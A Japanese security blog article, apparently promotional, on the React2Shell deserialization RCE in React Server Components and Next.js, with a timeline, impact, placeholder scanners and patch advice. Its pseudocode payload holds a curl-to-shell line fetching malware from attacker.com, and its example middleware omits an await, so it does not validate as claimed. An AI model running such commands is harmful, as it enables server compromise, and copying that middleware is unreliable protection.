React2Shell: Critical RCE in React & Next.js

React2Shell: Critical RCE in React & Next.js

CVE-2025-55182は、React 19およびNext.jsのReact Server Componentsにおける安全でないデシリアライズ処理が原因の重大なRCEです。細工されたHTTPリクエストで悪用可能なため、緊急パッチ適用が必要です。
# React2Shell (CVE-2025-55182):深刻な React 脆弱性の詳細解析

*著者:Lachlan Davidson*  
*最終更新:2025 年 12 月 4 日*

---

## 目次

1. [序文](#introduction)
2. [背景とタイムライン](#background-and-timeline)
3. [React2Shell の理解](#understanding-react2shell)  
   - [React2Shell とは?](#what-is-react2shell)  
   - [技術的概要](#technical-overview-of-the-vulnerability)
4. [React と Next.js エコシステムへの影響](#the-impact-on-react-and-nextjs-ecosystems)
5. [不安全なデシリアライズと Flight プロトコル](#insecure-deserialization-and-the-flight-protocol)
6. [実際の悪用事例とケーススタディ](#real-world-exploitation-and-case-studies)
7. [検出および緩和手法](#detection-and-mitigation-techniques)  
   - [Bash と cURL によるスキャン](#scanning-with-bash-and-curl)  
   - [Python での脆弱性データ解析](#parsing-vulnerability-data-with-python)  
   - [効果的なモニタリングのヒント](#tips-for-effective-monitoring)
8. [高度な攻撃手法とポストエクスプロイト解析](#advanced-exploitation-techniques)
9. [誤検知への対応:信頼すべきでないもの](#addressing-false-positives)
10. [パッチ適用とハードニングのベストプラクティス](#best-practices-for-patching-and-hardening)
11. [まとめ](#conclusion)
12. [参考文献](#references)

---

## 序文 <a id="introduction"></a>

近年、React とその関連フレームワークの採用が急増し、小規模な Web プロジェクトから大規模エンタープライズアプリまで幅広く利用されています。しかし、人気が高まるにつれて、エコシステムの重要コンポーネントに影響を与える脆弱性への懸念も増大しています。

2025 年 11 月 29 日、筆者 Lachlan Davidson は、サーバーサイド React 実装、特に React Server Components(RSC)の “Flight” プロトコルに影響を与える深刻な脆弱性 React2Shell(CVE-2025-55182)を Meta チームへ責任を持って報告しました。本脆弱性は 2025 年 12 月 3 日に React および Vercel チームによってパッチが公開されています。本記事では、技術的な詳細から実際の悪用事例、検出・緩和までを包括的に解説します。

この記事で扱う内容  
- 脆弱性の概要とエコシステムに与える深刻な影響  
- 脆弱性が発生する技術的理由と仕組み  
- 悪用事例とポストエクスプロイトの振る舞い  
- 脆弱性を検出する実用的なコードサンプルとコマンド  
- パッチ適用とシステム強化のベストプラクティス  

セキュリティ専門家、リスクを理解したい開発者、最新 Web 技術に興味を持つエンジニアのいずれであっても、本記事は初歩から高度な攻撃手法、防御策までを網羅的に案内します。

---

## 背景とタイムライン <a id="background-and-timeline"></a>

本インシデントのリスク管理と迅速な対応を理解するには、以下のタイムラインが不可欠です。

- **2025 年 11 月 29 日(PT)**  
  Lachlan Davidson が Meta チームへ脆弱性を責任報告。  
- **2025 年 12 月 3 日(PT)**  
  React・Vercel チームが初期公開とパッチをリリース。  
- **2025 年 12 月 4 日**  
  公開 PoC(Proof-of-Concept)コードが出回り始める。ただし一部は脆弱性の本質を再現しない不完全な PoC であるとの注意喚起あり。  
- **パッチ適用後のモニタリング**  
  Wiz Research、Amazon Threat Intelligence、Datadog などが実際の攻撃を観測。公開 Next.js インスタンスやクラウド環境を狙うキャンペーンが継続。  

Next.js は React を “vendored” 依存関係として取り込んでいるため、CVE-2025-66478 が追加割り当てされています(技術的には CVE-2025-55182 と重複)。これにより従来の脆弱性スキャナが見逃しやすい依存関係を追跡しやすくなりました。

---

## React2Shell の理解 <a id="understanding-react2shell"></a>

### React2Shell とは? <a id="what-is-react2shell"></a>

React2Shell は React Server Components(RSC)の “Flight” プロトコルに起因する重大な脆弱性(CVE-2025-55182)です。`react-server` パッケージにおける不安全なデシリアライズにより、認証不要でリモートコード実行(RCE)が可能となります。

主な特徴  
- **深刻度:10.0(クリティカル)**  
- **認証不要の RCE**:細工した HTTP リクエストのみで攻撃可能  
- **デフォルト設定が脆弱**:`create-next-app` で生成した標準設定も対象  

### 技術的概要 <a id="technical-overview-of-the-vulnerability"></a>

脆弱性の根本原因は、RSC のペイロードをデシリアライズする際の構造検証不足です。攻撃者は細工したデータを送り、サーバーがそれを無防備にデシリアライズすることで任意コード実行に至ります。

簡易フロー  
1. **ペイロード生成**:攻撃者が悪意あるペイロードを作成  
2. **HTTP リクエスト送信**  
3. **デシリアライズと実行**:検証不足のままコードが実行  
4. **RCE**:攻撃者がサーバー権限を獲得  

---

## React と Next.js エコシステムへの影響 <a id="the-impact-on-react-and-nextjs-ecosystems"></a>

### なぜ危険なのか

1. **広範な採用**:React と Next.js は最も普及したフレームワークの一つ  
2. **攻撃の容易さ**:単一の HTTP リクエストで自動化攻撃が可能  
3. **成功率の高さ**:デフォルト設定下でほぼ 100% 再現  
4. **公開環境の多さ**:Wiz Research によるとクラウド環境の 39% が脆弱インスタンスを保有  

### Next.js の特例

Next.js は React を内部に同梱しているため、通常の依存関係スキャナでは検知が漏れる可能性があります。そのギャップを埋めるため、重複ながら CVE-2025-66478 が割り当てられました。

---

## 不安全なデシリアライズと Flight プロトコル <a id="insecure-deserialization-and-the-flight-protocol"></a>

### 不安全なデシリアライズとは

- **検証不足**:入力データの構造を十分チェックしない  
- **悪意コードの実行**:デシリアライズ処理が任意コードを実行  

### RSC における Flight プロトコル

Flight プロトコルはサーバーとクライアント間で効率的にデータを共有します。この最適化が裏目に出て、`react-server` パッケージに検証不足を招きました。開発者は抽象化により安全と誤解しがちですが、本脆弱性によりその前提が崩れています。

---

## 実際の悪用事例とケーススタディ <a id="real-world-exploitation-and-case-studies"></a>

### 野良攻撃の観測

- **認証情報の窃取**:環境変数やクラウド資格情報を収集  
- **クリプトマイニング**:UPX で難読化された XMRig などを展開  
- **ポストエクスプロイト偵察**:追加脆弱性の探索や永続化を試行  

### ケーススタディ:Kubernetes 上の Next.js

攻撃者は細工した Flight ペイロードを送信し、  
- リバースシェルの樹立  
- Kubernetes Secrets / ConfigMap へのアクセス  
- ホスト権限への昇格  

### ケーススタディ:クラウド環境

Wiz Research の統計  
- 39% のクラウド環境に脆弱インスタンス  
- AWS 資格情報を Base64 で外部に送出する試みを多数確認  

---

## 検出および緩和手法 <a id="detection-and-mitigation-techniques"></a>

### Bash と cURL によるスキャン <a id="scanning-with-bash-and-curl"></a>

```bash
#!/bin/bash
# React2Shell (CVE-2025-55182) 簡易スキャナ
# <target_url> を対象 URL に置き換えてください

TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}'  # プレースホルダ

echo "Scanning $TARGET for React2Shell vulnerability..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
    echo "潜在的な脆弱性を検出: $TARGET"
else
    echo "明確な脆弱性サインは検出されませんでした(追加検証推奨)"
fi

Python での脆弱性データ解析

import requests, json

def scan_target(target_url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}
    print(f"Scanning {target_url} for React2Shell vulnerability...")

    try:
        r = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] 脆弱性の可能性あり: {target_url}")
        else:
            print(f"[-] 直ちに確認できる問題はなし: {target_url}")
    except requests.exceptions.RequestException as e:
        print(f"[-] スキャン中にエラー: {e}")

if __name__ == "__main__":
    for t in [
        "https://example.com/api/flight",
        "https://another-example.com/api/flight"
    ]:
        scan_target(t)

効果的なモニタリングのヒント

  1. ランタイム保護の活用
  2. ログ監視:Flight エンドポイントへの異常リクエストを検出
  3. 脆弱性管理ツールの統合

高度な攻撃手法とポストエクスプロイト解析

// 攻撃ペイロード構造(擬似コード)
const maliciousPayload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: {
    timestamp: Date.now(),
    nonce: Math.random().toString(36).substring(2),
  }
};
const serializedPayload = JSON.stringify(maliciousPayload);
sendToServer(serializedPayload);

※上記は教育目的の擬似コードです。無許可の攻撃は違法です。

ポストエクスプロイトの流れ
  • リバースシェルの確立
  • 機密データの収集
  • ラテラルムーブメント
  • クリプトマイナーや RAT の展開

誤検知への対応:信頼すべきでないもの

以下 API の存在だけでは React2Shell の真の悪用を示しません。

  • vm#runInThisContext
  • child_process#exec
  • fs#writeFile

真の攻撃は Next.js によるサーバー関数の自動管理を突くため、静的シグネチャだけに頼らず、

  • ベンダーの勧告との照合
  • 実ランタイム挙動の監視
    が重要です。

パッチ適用とハードニングのベストプラクティス

即時 remediation

  1. ベンダーの勧告確認
  2. 速やかなパッチ適用(例:react-server-dom* 19.0.1, 19.1.2, 19.2.1 など)
  3. WAF・ランタイム保護を有効化
  4. SIEM で異常を監視
  5. Threat Intelligence の共有

開発者向けハードニング

  • 入力バリデーションの強化
  • 重要エンドポイントの公開制限
  • 定期的なセキュリティレビュー
  • 環境分離
// Next.js ミドルウェア例:追加バリデーション
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Invalid payload format', { status: 400 });
      }
    } catch (err) {
      return new NextResponse('Error processing request', { status: 400 });
    }
  }
  return NextResponse.next();
}

まとめ

React2Shell(CVE-2025-55182)は、RSC “Flight” プロトコルに潜む不安全なデシリアライズにより、

  • 認証不要の RCE を実現
  • React/Next.js のデフォルト設定を直撃
  • 実際にクラウド環境で被害確認

主要ポイント

  • Next.js 向けに CVE-2025-66478 も割り当てられ、依存関係の追跡が容易に
  • 誤検知に惑わされず、公式情報と実行時挙動を重視
  • 依存関係を常に最新に保ち、多層防御を実施

参考文献


本ガイドが React2Shell への理解と対策強化の一助になれば幸いです。公式アドバイザリを継続的に確認し、常にセキュアな開発を心掛けましょう。
安全なコーディングを!

🚀 レベルアップの準備はできていますか?

サイバーセキュリティのキャリアを次のレベルへ

このコンテンツが価値あるものだと感じたなら、私たちの包括的な47週間のエリートトレーニングプログラムで何が達成できるか想像してみてください。ユニット8200の技術でキャリアを transformed した1,200人以上の学生に参加しましょう。

97%の就職率
エリートユニット8200の技術
42の実践ラボ